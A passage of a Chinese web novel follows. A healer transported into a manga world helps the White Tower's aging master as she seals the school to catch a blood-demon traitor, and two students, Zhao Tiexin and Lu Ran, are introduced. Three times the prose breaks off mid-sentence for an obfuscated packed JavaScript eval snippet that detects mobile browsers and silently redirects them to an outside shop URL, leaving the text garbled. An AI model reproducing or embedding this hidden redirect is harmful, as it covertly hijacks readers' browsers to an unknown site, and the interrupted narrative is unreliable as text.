「斯派……卧槽,细思极恐!」 「封塔的推测有理有据,我感觉可能性很高。」 「如果内鬼在老师里……完了,看谁都不像好人了。」 「所以新角色是奇兵咯,外来者打破死局,经典编剧手法。」 「只有我还在舔金发校医的颜吗?(狗头保命)」 这个楼主推测的准确度相当高,这在他过往那些时常被作者背刺却又屡败屡战的发帖记录里,已经得到了验证——他的推测方向往往能切中故事的核心矛盾,只是细节上常被作者突然抽风一下干扰带偏。 不过,派斯?名字倒过来? 林砚的第一反应是这推理有点……儿戏,像是读者在信息匮乏时抓住一点蛛丝马迹的脑洞狂欢。但紧接着的补充却很清醒:一个六年级学生,权限确实不太可能高到能擅自调派高危任务。内鬼更可能在于教职工里头,甚至可能不止一人。 无论这个“派斯”是巧合还是确有其事,“白塔内部存在血魔内鬼,且其位置可能不低”这个核心判断,基本上是可以确定成立的。 论坛里果然藏龙卧虎,读者的眼睛是雪亮的。 「@楼主,猫哥,分析一下新出场的金发美人呗?他会不会是破局关键?」 猫吃鱼在这条下面回复:信息太少了。但塔主此时引他入局,必有所图。关键在于,他能否在接下来的内部清洗和潜在反扑中活下来,并真正发挥作用,谨慎乐观吧。。 林砚关掉了论坛页面。 该回去了。 那个世界的时间还在流动。赵铁心还躺在机械臂上,陆燃还在独自痛苦地横冲直撞,苏清寒埋首研究,白晓自我封闭。而潜藏在阴影里的内鬼,或许正在策划下一次行动。 他在这里多停留一秒,那边的不确定性就增加一分。 林砚最后看了一眼这间熟悉的卧室,目光扫过书架上还没做完的习题集,然后,他闭上眼,呼唤系统: 系统,返回漫画世界。 【指令确认。接引程序启动。】 【提醒:您此次返回,将直接抵达离开时坐标,时间流速已校准。】 戏幕重新拉开。 【您当前位置:《沸血升腾》世界医务处地下病房。】 6. 全面封锁 传回漫画世界的过程没有任何感觉。 没有眩晕,没有失重,只是呼吸间,就从卧室切换到了白塔地下,鼻尖嗅到的是病房冰冷、带着药液气味的空气。 流畅得像只是翻过一页书。 随之而来的,是躯体感知上过于鲜明的对比。 冷冽的空气涌入肺叶,没有熟悉的隐痛,没有那种时刻缠绕躯体的沉重感,每一次呼吸都顺畅有力,心脏在胸腔里稳定地跳动,将澎湃的能量输送到四肢百骸。 这具身体是健康的,真正意义上的健康。比他过去十七年里任何一天感受到的都要好。 林砚垂在身侧的手指几不可查地蜷缩了一下,然后缓缓松开。 仅仅是这样一次呼吸的对比,就坚定了他必须完成任务的决心。 “……林老师?林家小子?” 白珍的声音将他从瞬间的恍惚中拉回现实。 他刚才那短暂的停顿显然让塔主产生了误解。老人家脸上的皱纹似乎都加深了些,拄着拐杖的手微微收紧,语气里是掩不住的关切和一丝不易察觉的紧张:“怎么了?是铁心这孩子……情况有变?血蚀不是退下去了吗?” 一个医生面对病患突然陷入沉默,在任何人看来都不是好兆头。 林砚迅速收敛心神,意识到自己刚才的走神被误会了。 真实原因自然无法宣之于口——难道说他刚刚回现实世界逛了趟论坛,顺便分析了半天世界局势? 他需要给出合理的解释。 电光石火间,一个念头已然成型。 “塔主女士,”他转过头,目光从赵铁心身上移开,看向白珍。琥珀色的眼瞳映出幽蓝的冷光,“我信任您的人品和为人,但有的话,我不知道当不当讲。” 白珍愣了一下,眼睛里闪过一丝了然。 她点了点头,语气郑重:“林老师但说无妨,不必有顾忌。” “好。”林砚点头,语气直接,没有任何迂回,“以白塔的规章制度,分配给在校学生的实践任务,尤其是涉及外出和战斗的,其难度、危险等级,都应该是经过严格评估和安排的。理论上,绝不允许,也几乎不可能出现让学生接到严重超出自身能力范畴。” 林砚话语间,语调没有起伏,冷漠到近乎质询。 “那么,赵铁心同学身上这种程度的伤势,合乎常理吗?” 他林砚问出了那个所有明眼人都能看到、却未必敢直接问出口的问题: “那么,赵铁心同学所受的伤,究竟是怎么回事?” 空气安静了一瞬。 白珍的脸上没有出现被冒犯的不悦,也没有丝毫惊讶,仿佛早就预料到会有此一问。她只是又转过头,看向昏迷中的赵铁心,眼神软化下来,像个最寻常的、看着受伤孙辈的祖母。她伸出布满皱纹的手,极轻地、慈祥地摸了摸少年冰冷汗湿的额发。 “是啊,”她低声说,语气平静得有些苍凉,“这就是为什么,我豁出这张老脸,也要求着你来啊,林家小子。” 她叹息着。 “白塔里,已经有人倒向了血魔那边。可能是某个不起眼的学生,可能是某位备受尊敬的老师,甚至可能……” 她没说完,但意思已经足够清晰。 “所以,”白珍直视林砚的眼睛,那里坦荡得近乎残酷,“我现在对塔里的每一个人,都保持着平等的怀疑。包括那些跟了我很多年的老伙计。正因为如此,我才更需要你来帮我。” 林砚点了点头,对她的坦诚表示认可。 然后,他抛出了下一个问题,语气依旧平淡,像在讨论天气: “您就不担心引狼入室?如果……我也是血魔呢?” 这句话反而让白珍笑了起来,她先是愣了一下,随即像是听到了什么极有趣的笑话,嘴角上扬,甚至低低地笑出了声,笑声在空旷冰冷的地下室里显得有些突兀。 “嗨呀,小后生,你可别逗老身了。”她看林砚像是长辈在看不懂事的晚辈,有些调侃又有些笃定,“这你可别拿这话逗老身开心。这沸血者的家族里,谁家都有可能出几个不肖子孙,被血魔蛊惑了去。唯独你们林家不可能。” 几乎在她话音落下的同时,系统的提示音在林砚脑中响起,简明扼要地补充了背景设定: 【祸血凭依是林家世代单传的治疗能力,因其能力的稀有性、稳定性及不可替代的治疗效果,享有超然地位。历史上,几乎每一个有头有脸的沸血者家族或重要人物,都曾受过林家的救治,欠下人情。也因此,作为血魔的天生克星与重点阻碍,林家历来被血魔视为眼中钉、肉中刺,仇恨绵延数代,几无缓和可能。】 打团先切奶妈,集火治疗位。懂了。 白珍并不需要他的回应,自顾自地继续说道:“不瞒你说,铁心这孩子的血蚀,本就是我为你准备的测试。”她坦然道,没有任何遮掩,“测试你作为医生的能力是否足够,也测试你什么时候会‘想起’来治疗他,以此判断你是否别有目的,急于接触特定人员。” 她看向赵铁心脸上已经消退至脖颈以下的血蚀印记,眼中愧疚与惊叹交织:“现在看来,你的能力何止是足够,简直是……超标了。” 她转向林砚,苍老的面容上带着真诚的歉意:“老身也是没办法了。身边尽是眼睛,不敢再毫无保留地相信任何人。用这孩子当测试,事先没跟你通气,是我不地道,委屈你了。希望你能原谅我这不得已之举。” 说着,她空着的那只手伸进衣袍内袋,摸索片刻,取出一件东西,递到林砚面前。 是枚耳环。 款式极其简洁,造型就是一道流畅的弧线,尾端微微收尖,没有任何多余的宝石或雕刻。 “这个,是我的赔礼。”白珍将那枚耳环放在林砚掌心,金属触感微凉,“带着它,白塔内所有地方都将对你畅通无阻。包括白塔顶楼,我的办公室。” 林砚正准备接过的手指微微一顿。 几乎所有人都知道,炽血君王的四块灵魂碎片之一,在塔主白珍手中。能随意出入她可能放有碎片的办公室,这份信任的含金量大得惊人。 我现在是塔主之下第一人了?林砚心里嘀咕。 他没有立刻去接,而是先看向白珍的眼睛。老人的眼神坦然、平静,甚至带着一种豁出去的决绝。 沉默持续了两秒。 林砚伸出手接过耳环,入手分量却比想象中更轻,又有些迟疑——他没有耳洞。 白珍活了这么大岁数,眼力自然毒辣,早就看出林砚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16881148|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 没明白这东西的用法。她面上不显,只若无其事地解释道:“直接贴在耳垂上即可。它自己知道该怎么做。” 林砚依言,将那弧形的银色贴在自己左耳耳垂下方。接触皮肤的瞬间,看似坚硬的金属骤然变得柔软,如同被体温融化的水银,又像拥有生命的液态金属,迅速沿着他耳廓的轮廓蜿蜒攀附、贴合,最后稳稳地停留在耳廓上缘,形成一道几乎与皮肤颜色融为一体的、极细的银色饰线。 如果不仔细看,只会以为是光线勾勒出的自然阴影。 “这是一个通讯器,”白珍举起手里拐杖,指了指顶端看起来像是花纹的东西,“只在你我之间生效。敲一下开启,敲两下关闭。具体用法你试两次就明白了。” 老人放下手杖,语气转为低沉严肃:“你可能会想,现在人人都有手机,何必多此一举。所以,接下来我要告诉你的事,目前只有你知道。” 她顿了顿,声音不高,有着不容置疑的决断: “我准备封塔。从今天晚上开始,全面封锁整个白塔学院,包括与外部的网络通讯。在揪出那个藏在阴影里的内鬼之前,这里——只允许进,不允许出。” 她平静地陈述着这个足以在塔内引发轩然大波的决定,仿佛只是在说明天的天气。 “这个决定,我没有跟任何人商量,是我一人的独断。所有可能引发的后果、责任,都由我白珍一力承担。”她的目光再次落在林砚脸上,那双苍老却不浑浊的眼睛里,映着幽蓝的设备冷光,也映着林砚没什么表情的脸。 “林小子,你会帮我的,对吧。” 不是疑问句,是陈述句。 是早已认定、不容拒绝的托付。 早已从论坛推测中有所预料,并亲身体验了塔内紧张氛围的林砚,迎着白珍的目光,缓缓颔首。 “毫无疑问,女士。” 白珍点了下头,没再说什么。拄着拐杖,转身走向门口,身影逐渐没入向上的阴影里。 塔主离开了。 林砚站在原地,重新将目光投向病房。冰冷的机械臂还伸展着,承托着昏迷不醒的少年。赵铁心苍白的脸上,血蚀的狰狞印记已被逼退至脖颈以下,但昏迷中紧蹙的眉头和细微颤抖的眼睫,显示着他体内依然在进行着痛苦的拉锯战。 林砚双手交叠置于身前,静静地看着赵铁心。看了足足有一分钟。 看了几秒,他的嘴角忽然向上牵动了一下,发出一声极轻的、意味不明的哼笑。 他走上前,伸出右手,没有触碰赵铁心的皮肤,只是将食指和中指的指节,轻轻贴在了固定着赵铁心头部的冰冷金属支架上,靠近少年太阳穴的位置。 然后,中指抬起,轻轻向下一叩。 “嗒。” 清脆的金属敲击声在安静的空间里格外清晰。 林砚俯下身,凑近了一些,对着那张双目紧闭的脸说道: “演得不错,算你及格。但你已经睡得够久了。” 他的指尖离开金属,轻轻拂过赵铁心耳畔湿漉的短发,把凌乱的湿法扒到他耳后。 “既然醒了——” 琥珀色的眼眸里映着维生设备幽幽的蓝光,林砚的声音平淡无波: “——也该起来了,小子。” 7. 主要角色买一送一 “欸欸欸,我装得有这么明显吗!” 躺在机械臂上的人猛的睁眼,那是一双很亮的眼睛,可能是因为刚脱离昏迷,还蒙着一层生理性的水汽,但在对上林砚平静目光的刹那,里面的茫然迅速褪去,转而浮起一种被戳穿后混合着尴尬和顽皮的生动神采。 林砚站在原地,连眉毛都没动一下。 他自然不会告诉赵铁心,让他暴露的真正原因,是在白珍说出“我准备封塔”那几个字时,脑海中响起的系统提示音。 【监测到目标个体赵铁心意识恢复清醒。】 见林砚完全没有被自己的突然袭击吓到,甚至脸上连点波澜都没有,赵铁心脸上那点夸张的懊恼变成了货真价实的失望,肩膀都垮下去一点。 “没吓到你啊……” 这点小情绪转眼就被抛到脑后。 他双手一撑,整个人便从机械臂上滑了下来,赤脚踩在地面上,站稳后舒展手臂,伸了个懒腰。关节发出细微的咔嗒声,原先泡在治疗液里苍白到近乎透明的皮肤,此刻透出些许活人的血色。 那姿态,那精神头,完全看不出十分钟前还是一具泡在维生液里,随时可能堕化的尸体。 活动完筋骨,赵铁心几步凑到林砚跟前。 距离骤然拉近,林砚这才意识到这家伙居然比自己高了将近半个头,长期高强度的训练给他塑造了一身极具力量感的躯体。肩膀宽厚,属于是穿衣显瘦、脱衣有肉的类型,被湿透的单薄病号服贴着,看起来有点狼狈。脸苍白得过分,嘴唇也没什么血色,显出一种病态的脆弱。 赵铁心本人似乎也立刻意识到了身高差带来的压迫感。没有任何犹豫,非常自然地弯下了腰,甚至微微屈了点膝盖,让自己的视线略低于林砚,脸上扬起的笑容毫无阴霾。 “你救活了我,白奶奶又喊你林老师,你姓林……”赵铁心开口,声音因为刚醒还有些沙哑,但语气雀跃,“所以,你是那个‘林家’的吗?” 他的眼睛很特别,瞳孔的颜色是很闪亮的宝石蓝,此刻因为湿润而显得格外明亮,像两颗浸在水里的、滑溜溜的玻璃珠。里面清晰地映出林砚的身影,却没有林砚习惯中针对他外貌的惊艳或打量。 里面是更纯粹、更直白的东西。好奇,感激,还有毫不掩饰的的喜爱。眉眼弯起,嘴角上扬,喜爱的情绪明晃晃地挂在脸上。 如果这也是表演的一部分,那么他的演技足以在任何一个演艺颁奖礼上横扫千军。 林砚很少见到这么直白又不带任何油腻或算计的喜爱,这让他对赵铁心的观感微妙地上升了几分。 “的确是你想的那个林家。”林砚好心情地回答,“我是林砚。” “哇——!”赵铁心眼睛瞬间更亮了,快乐几乎要实质化地溢出来。 他保持着弯腰的姿势,脑袋却忍不住左右转动,上下打量着林砚,嘴里不住地念叨:“真的是!我还是头一回见到活生生的林家人!林老师,你的家人们也都像你一样好看吗?你们家是不是都特别厉害?‘祸血凭依’真的哪怕把人斩成两半都能救回来吗?我小时候听的故事里说的可神了……” 眼见他的关注点朝着奇怪的方向一路狂奔,并存在往各种不靠谱传说追忆的趋势,林砚抬起了右手。 动作并不快,还有些随意,只是将掌心轻轻贴在了赵铁心还带着湿意的肩膀上。 然后,悄无声息地,发动了能力。 赵铁心所有的声音和动作戛然而止。 寒冷的触感从肩头那一点接触面炸开,瞬间席卷全身。他感觉自己体内的血液流速在刹那间变得极其缓慢,肌肉、骨骼、甚至思维,都仿佛被凝结在冰块中,冻结,僵直。他还能看,能听,能感知,却彻底失去了对身体的掌控权,连转动眼球都做不到,只能僵在原地,保持着微微弯腰的姿势,像是被按下暂停键的电视画面。 他的表情凝固在惊讶与困惑之间,嘴巴微微张着,似乎还想继续刚才的话题。眼睛里掠过惊愕和茫然,随即变得有些委屈,于是他只能努力转动眼珠,直勾勾地看着林砚,让林砚莫名想到做了坏事被当场逮住、缩在角落用眼睛瞟人的大型犬。 林砚看着他那副样子,勾了下嘴角。 “冷静下来了?”他问得平淡,像不是自己动的手。 赵铁心只能用眼神回答,眼珠子疯狂上下抖动,幅度大到像是抽搐。 林砚收回手。 冻结的血液重新开始流动,冰冷的桎梏如潮水般退去,身体的掌控权一点点回到赵铁心自己手里。 他先是猛地打了个哆嗦,然后像触电一样抖了抖全身,胳膊腿儿胡乱摆动了几下,嘴里发出“唉唉唉”的、意义不明的气音,最后以一个格外响亮、几乎能在地下室激起回音的喷嚏作为终结。 “阿——嚏!!” 打完喷嚏,赵铁心揉了揉鼻子,彻底老实了。 规规矩矩地站好,看向林砚,声音闷闷的,带着点鼻音:“冷静下来了,林老师。” 林砚没打算继续刚才的话题。目光扫过他湿透的衣服,瞥了一眼周围除了医疗设备别无他物的病房,本来想找件干燥衣服的念头,在目光落到自己身上时,瞬间打消。 放弃。 他可不打算把自己这身行头贡献出去,无论是马甲还是里面的衬衣。 “先离开这里,”林砚转身朝楼梯走去,语气不容置疑,“我带你去把身上这身湿衣服换了。” 赵铁心用紧随其后的又一个喷嚏回答了他。 “阿嚏!好、好的,林老师……” 通往一楼的楼梯不长,但赵铁心一路喷嚏不止,让林砚不由得加快了点脚步。赵铁心跟在他身后半步,赤脚踩在冰凉的地砖上,发出轻微的啪嗒声,偶尔夹杂着一两声努力压抑住的抽鼻子声。 “有个问题。”林砚没有回头,声音在空旷的走廊里回荡。 “您问!”赵铁心立刻应声,语气恢复了部分活力。 “既然早就醒了,”林砚略微放缓脚步,侧过头,用眼角的余光瞥了他一眼,“为什么继续装晕?” 问题很直接,甚至有点尖锐,但林砚的语气里听不出什么特别的情绪,仿佛只是随口一问。 赵铁心沉默了两秒。脚步声在走廊里回响。 “唔……”他抓了抓黏在头上的短发,回答得坦率,没什么扭捏,“就是感觉当时那场合,突然睁眼好像有点怪怪的?白奶奶在跟你说话,气氛那么严肃,而且,刚醒就听见陌生人的声音,毕竟我没见过你。” 他声音低了一些:“自从这次出事以后,我看谁都觉得有点不太对劲。不是怀疑白奶奶,就是……唉,我也说不好。反正当时就觉得,还是先闭着眼听着得了。” 他加快两步,跟到林砚身侧,笑得有点不好意思:“后来听白奶奶跟你说话,我大概猜到是你救了我,白奶奶又那么信任你,我心里就差不多有数了。可那时候白奶奶都走了,我再‘哎哟’一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16884692|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 声醒过来,岂不是更尴尬?” 赵铁心挠了挠头,“感觉那个时候睁眼,好像故意偷听了什么似的,怪尴尬的。所以我就想,干脆等你也走了我再自己爬起来算了……” 林砚挑了下眉。 还没来得及对这番说辞作出任何反应,系统的提示音先一步响了起来: 【警告,监测到角色赵铁心当前行为模式与基础性格设定档案存在轻度偏移。重复。警告,监测到角色赵铁心当前行为模式与基础性格设定档案存在轻度偏移】 角色设定里的赵铁心,性格豪爽重义,甚至有点粗线条。而眼前这个会因气氛不合适而装晕的少年,显然和这些设定不贴。 影响大吗?林砚在脑海里平静地询问。 【初步评估偏移程度为轻微状态,暂未对世界主线逻辑及角色核心特征构成威胁。但仍建议保持观察。】 这种表现,很不正常吗? 【仍在正常范畴内。经历重大创伤后,个体出现短期性格微调、防御机制增强、对陌生环境及人际敏感度上升,符合普遍心理应激反应模型。】 也就是说,在漫画世界的底层设定里,赵铁心是个典型的乐观开朗、重义气但可能不太会看气氛的热血漫男配。而眼前这个心思更细一些的赵铁心,是经历残酷现实毒打后生长出来的PLUS版本。 这非但没有让林砚觉得麻烦,反而让他更感兴趣了。 更接近“真人”的角色,总比刻板印象的纸片人有趣。 他没再说什么,继续领着赵铁心走进自己的办公室。 理所当然地,办公室里没有适合学生穿的衣服。 这正是林砚预料之中的情况。 赵铁心抱着胳膊,又忍不住打了个哆嗦,他看向林砚,湿漉漉的眼睛里那点可怜的意味更浓了,像只被雨淋透的大型犬,因为找不到地方躲只能蹲在一旁。 林砚有些无奈。 “医务处没有你能穿的衣服。”目光扫过对方苍白的脸色,林砚把空调打开,调到较高的温度。 “你应该也不想穿这身出去。还是联系一下相熟的同学,让人送套干净的衣物过来吧。” 至于联系谁…… 林砚心里早有人选。 “我的手机好像被留在宿舍了,不知道还有没有电。”赵铁心有些苦恼地皱起眉,眼巴巴地看着林砚,“林老师,能借用一下您的手机吗?我打个电话。” “可以。”林砚答应得爽快,从口袋里拿出手机解锁,直接进入拨号界面,递了过去。 赵铁心接过,手指在屏幕上轻点,输入号码的动作流畅自然,显然对那串数字熟悉至极。 电话拨出,听筒里传来规律的等待音。 嘟——嘟——嘟—— 响了五六声,就在即将自动挂断前,电话接通。 对面没有立刻出声,只有轻微的、压抑着的呼吸声透过听筒传来,在安静的办公室里隐约可闻。 赵铁心把手机贴到耳边。 “喂,陆哥,”他开口,声音还带着点感冒似的鼻音,但语气轻快,“是我,赵铁心。” 紧接着,是长达数秒的寂静。 仿佛信号突然中断,又仿佛接电话的人瞬间失去了所有语言能力。 而林砚早在赵铁心呼唤对方名字时,就礼貌地转身走到窗前,目光投向窗外暮色渐浓的校园,似乎对通话内容毫无兴趣。 男主要自己送上门来了。 8. 别扭系男主 陆燃来得比预计得快。 赵铁心才把手机还给林砚没出十分钟,办公室门外就响起了有些急躁的脚步声。 没有敲门,门直接被推开了。 来人没再穿那身标志性的白塔校服,换了件黑色的连帽卫衣,卫衣底色是暗沉的红色,像干涸的血迹。帽子盖在头顶,压得很低,遮住了大半张脸,只露出紧绷的下颌和抿成一条直线的嘴唇。 手里提了个鼓鼓囊囊的棉布袋子,看形状里面塞了衣服。袋子被他攥得很紧,指节都微微泛白。 他就站在门口,没立刻进来,也没说话,就那么杵着。 赵铁心几乎是瞬间就认出了他。 “陆哥!”他喊了一声,声音里的喜悦满得快要溢出来,一个弹射起步就窜了过去,张开手臂,准备用一身还没完全干透的水汽和满溢的热情,给门口的人来个结结实实的拥抱。 林砚没动,只是安静地看着。 他觉得陆燃会躲开。 而陆燃也确实那么做了。 在赵铁心即将扑到的一刹那,陆燃朝侧面挪了一步,没有大幅度的动作,甚至肩膀都没怎么动,只是看起来有点不耐烦。 动作干净利落,像避开什么碍事的东西,让赵铁心扑了个空。 扑空的赵铁心没有半点意外或沮丧。 他似乎完全习惯了这种行为模式。 或者说,他在扑出去的瞬间,就已经预料到了陆燃会躲开。前冲的势头未减,脚腕却极其灵活地一拧,身体顺势微转,动作丝滑得像是演练过无数遍。 不仅完美地卸掉了惯性,避免自己滑倒,还在与陆燃错身而过的瞬间,手臂一探,接走了布袋。 整套动作行云流水,衔接得天衣无缝。 “谢啦陆哥!”赵铁心拎着袋子,咧着嘴笑,完全没把刚才的事放心上。 他扯开袋子口往里瞅,嘴里嘟囔着:“让我看看你都给我带了啥……哦这件可以的,还好不是校服,陆哥你懂我。” 刚才等人的时间里,林砚去楼上找了条毛巾给赵铁心,让他把身上残留的湿气和水珠擦干。赵铁心给自己擦了个半干,湿透的衣服扔在地上,整个人光着膀子只穿了条裤子,毛巾挂在脖上。 现在,他只需要把干净衣服换上就行。 提着袋子,赵铁心转过身,脸上扬起混着讨好的笑,冲林砚举起手里的东西,拖长了调子:“林老师——” 意思不言而喻:给个地方换衣服呗。 没等林砚回应,门口那个一声不吭装了半天雕像的家伙先开了口。 “直接换呗。” 声音有些沉闷,夹着刻意为之的冷漠和烦躁。他戴着帽子,没抬头,视线死死盯着脚下地砖,仿佛图案里藏着宇宙的终极奥秘。 “都是男的,有什么好避讳的。” 听起来像是在呛赵铁心,又不完全只是在呛赵铁心。 林砚对此表示不认可。 他觉得人还是需要一点隐私的。 尤其是在这种有陌生人在场,气氛还很是微妙的场合下。 没有理会陆燃的带刺发言,林砚径直起身,走到办公室内侧,拉开了隔间的门。里面地方不大,靠墙放着简单的检查床,旁边有洗手池和储物柜,墙上贴着标准的人体解剖图表和视力检测表。 这里本来就是进行基础身体检查或处简单处理伤口的地方,拿来换衣服,倒也合适。 “在这里换。”林砚侧身让开门口。 “好嘞林老师!” 赵铁心立刻笑嘻嘻应声。闪身钻进去,然后“咔哒”一声带上了门。 办公室里只剩下两个人。 空气像是突然间凝滞。 林砚能清晰地感觉到,一道视线落在了自己身上。来自门口的方向,那眼神算不上友善。审视、戒备、带着强烈的探究意味。 林砚迎上那道目光。 陆燃不知何时已经抬起了头,他摘下帽子,藏在帽檐下的眼睛终于露了出来。 他的眼型偏长,上挑的倒三角眼锋利得近乎凶狠,红瞳里淬着火焰,看起来颇凶地盯着林砚。唇线绷得很紧,下颌骨的线条也绷着,像是绷紧的弓。 “你……” 陆燃率先开口,只说了一个字,声音却意外地干涩。 本人显然也意识到了这个问题,那点刚刚凝聚起来的气势陡然一滞。喉结滚动,陆燃猛地闭上嘴,脸上涌现出显而易见的尴尬,还是死死盯着林砚不放。 看他这么拧巴,林砚反而觉得有些有趣。林砚偏头,微微弯起眉毛,似笑非笑地看着陆燃,就是不说话。 难搞的青春期男生。 陆燃 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16892044|191871||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 被他这眼神看得浑身不自在,抿紧了嘴唇,嘴角细微地动了几下,似乎是在调整喉咙的肌肉。但他很快地放弃了,肩膀垮下,嘴角也不爽地滑落,把“我很不爽很不高兴”直白地写在了脸上。 他深吸一口气,准备重新开口—— “咔哒。” 隔间的门开了。 赵铁心换好衣服走出来,陆燃给他带了运动服来,是成套的黑色长衣长裤,赵铁心把袖子扒了上去,露出小臂。虽然头发还是乱糟糟地翘着,但整个人都焕然一新。 “我好了!”他转了一圈,像是在展示衣服,”谢了陆哥,回去洗干净了还你。” 陆燃:“……” “你别还了,”他别开脸,声音硬邦邦的,“不差这套。” 气势瞬间溃散。 他错过了合适的时机。 这让他看起来更不高兴了,周身的气压都低了好几度。 可惜的是,只有林砚接收并读取到了陆燃的不乐。早已习惯陆燃这坏脾气的赵铁心对此毫无察觉,或者说,他知道,但完全没往心里去——陆燃经常不高兴,这太正常了。 赵铁心现在心情可好得很,死里逃生的庆幸、对林砚的感激,混合着见到好兄弟的开心,让他的情绪高昂。 他几步走到陆燃身边,脸上洋溢着热情的笑容,伸出手臂,双臂朝向陆燃,满脸的郑重其事: “林老师,请允许我隆重为您介绍——” “这位!就是我过命的好兄弟、永远的挚友、血魔的一生之敌、预言钦定的救世主、四年级实战考核毫无争议的榜首、我们白塔目前在校生里唯二的S级大佬——” 他深吸一口气,掷地有声地吐出那个名字: “陆!燃!” 余音在办公室里回荡。 一片死寂。 林砚看到,在赵铁心喊出他名字的同时,被介绍的当事人已经光速逃离——他本来想冲出房门,但那里被赵铁心挡住了,于是只能躲去窗边。 他背对着两人,面朝窗外,林砚和赵铁心现在只能看到他的半边耳朵,颜色鲜艳得几乎和头发融为一体。 林砚看了陆燃一眼,又看了看一脸“与有荣焉”的赵铁心,语气寻常。 “可惜办公室太小坐不下这么多人,下次遇到塔主我会提建议扩建的。” 9. 男二他超勇 办公室里重新安静下来。 走之前,赵铁心不顾陆燃几乎要杀人的瞪视,硬是问林砚要了联系方式,还强行按着陆燃让他先一步加了林砚,放出名言:“只有脑残才不需要治疗的联系方式。” 然后心满意足地拽着陆燃离开了医务处。 走的时候,陆燃整个人都是僵的。 他试图把脚钉在地上,但还是被赵铁心抓着胳膊往外拖,一步三回头地看向林砚,嘴唇动了又动,双红得灼人的眼睛里写满了: 我有话要说! 你为什么不问? 你就这么让我走了?? 林砚看出来了。 他站在办公桌后,双手松松地插在裤子口袋里,琥珀色的眼睛平静地回望过去,然后学着他刚才的样子扭头看窗外,还挂出张严肃脸,像是外面有什么重大课题等待探究。 偏偏就是不点明,也不拦下他。 于是陆燃走得不情不愿又满脸不甘,话还卡在喉咙里。最后是被赵铁心硬生生拽出门的,门关上时,林砚还能听见门外陆燃蓄意发泄的沉重脚步声,还有赵铁心开朗的笑声。 黑夜降临,落日余晖将窗户也给染红。林砚两个身影一前一后地穿过外边庭院。红头发的那个走得很快,几乎像在逃,黑衣服的那个追上去,手臂搭上对方肩膀,又被狠狠甩开。 林砚看了一会儿,转身去给自己倒了杯水。 他很确定陆燃还会再回来找他。 也许是为了赵铁心,也许是为了别的什么。 林砚只需要等待。 远处,白塔顶楼。 办公室里的烟雾浓得几乎化不开。 白珍锁上门,将一切声响隔绝在外。她坐在沙发上,佝偻着腰,手里拿着支老式的烟斗。烟斗被摩挲得油亮,末端缓缓吐出白色的烟雾。 地上,地毯边缘已经落了一层灰白的烟灰。 烟雾在空气中缠绕、升腾,几乎充斥了整个房间。顶灯的光线被晕染成朦胧的晕团,沙发里的人影变得模糊,难以辨认出她此时的神情。 面前的茶几上摊着厚厚一摞文件,工整地分成左右两叠,纸边微微卷曲,看起来被反复翻看了多次。 拐杖放在沙发扶手边,触手可及。 但她没去碰。 只是单手拿着烟斗,另一只手里捏着张档案纸。 档案纸已经有些旧了,边缘微微发黄。照片里是个戴着眼镜的男人,标准的知识分子模样,笑容温和。照片下面履历排得密密麻麻:任职年限、负责课程、学生评价、历年考核成绩…… 有个鲜红的问号,粗暴地划破了那张温和的笑脸。 红墨渗透纸张,在背面洇开淡淡的痕迹。 白珍的目光落在照片上。 她看了很久。 烟斗里的烟草烧到了底,发出细微的“滋滋”声。白珍抬起手吸了一口,最后一点火星在烟锅里明灭,然后彻底暗下。 她把烟斗搁在茶几边缘。 办公室只有烟雾还在无声地流动。 然后—— “叮铃铃……” 另一端放着的手机屏幕亮起,急促的铃声在密闭空间里炸开。 白珍没动。 她看着手机上显示的名字,任由手机震动。 屏幕上显示的名字,和此刻她手里捏着的档案纸上、被红笔划破的照片下方的名字如出一辙。 白珍依旧坐着。 电话铃停了。 办公室重新陷入寂静,烟雾缓慢地盘旋。 她松开手指,把那张划着红问号的档案纸,轻轻放回左边那叠文件的最上方。 然后伸手拿起了拐杖。 如今,白塔大门已经完全封锁。 闸门从两侧滑出,严丝合缝地接在一起,将内外彻底隔断。 闸门后,周防锋背脊挺直地站着。 他换上了执勤装备,耳边挂着通讯器。脸上没有白天迎接林砚时发自真心的笑容,只剩下沉默的肃穆。 他的队员们三人一组,五米一队,沿着闸门两侧排开,空气里只有夜风吹过树叶的沙沙声。任何未经许可试图离开这道大门的行为,都会被制止。 封锁是突然下达的。 命令来得毫无预兆,但塔主的命令不容置疑。于是本来还在值班室里整理出入记录的周防锋猛地跳起,迅速将命令继续往下传达。 没有解释,没有原因。 只有一句话:全面封锁,许进不许出。 周防锋没问为什么。 在校卫队待了三年,他学会的第一件事就是不要多问地执行命令。 尤其是塔主的命令。 但他能感觉到不对劲。 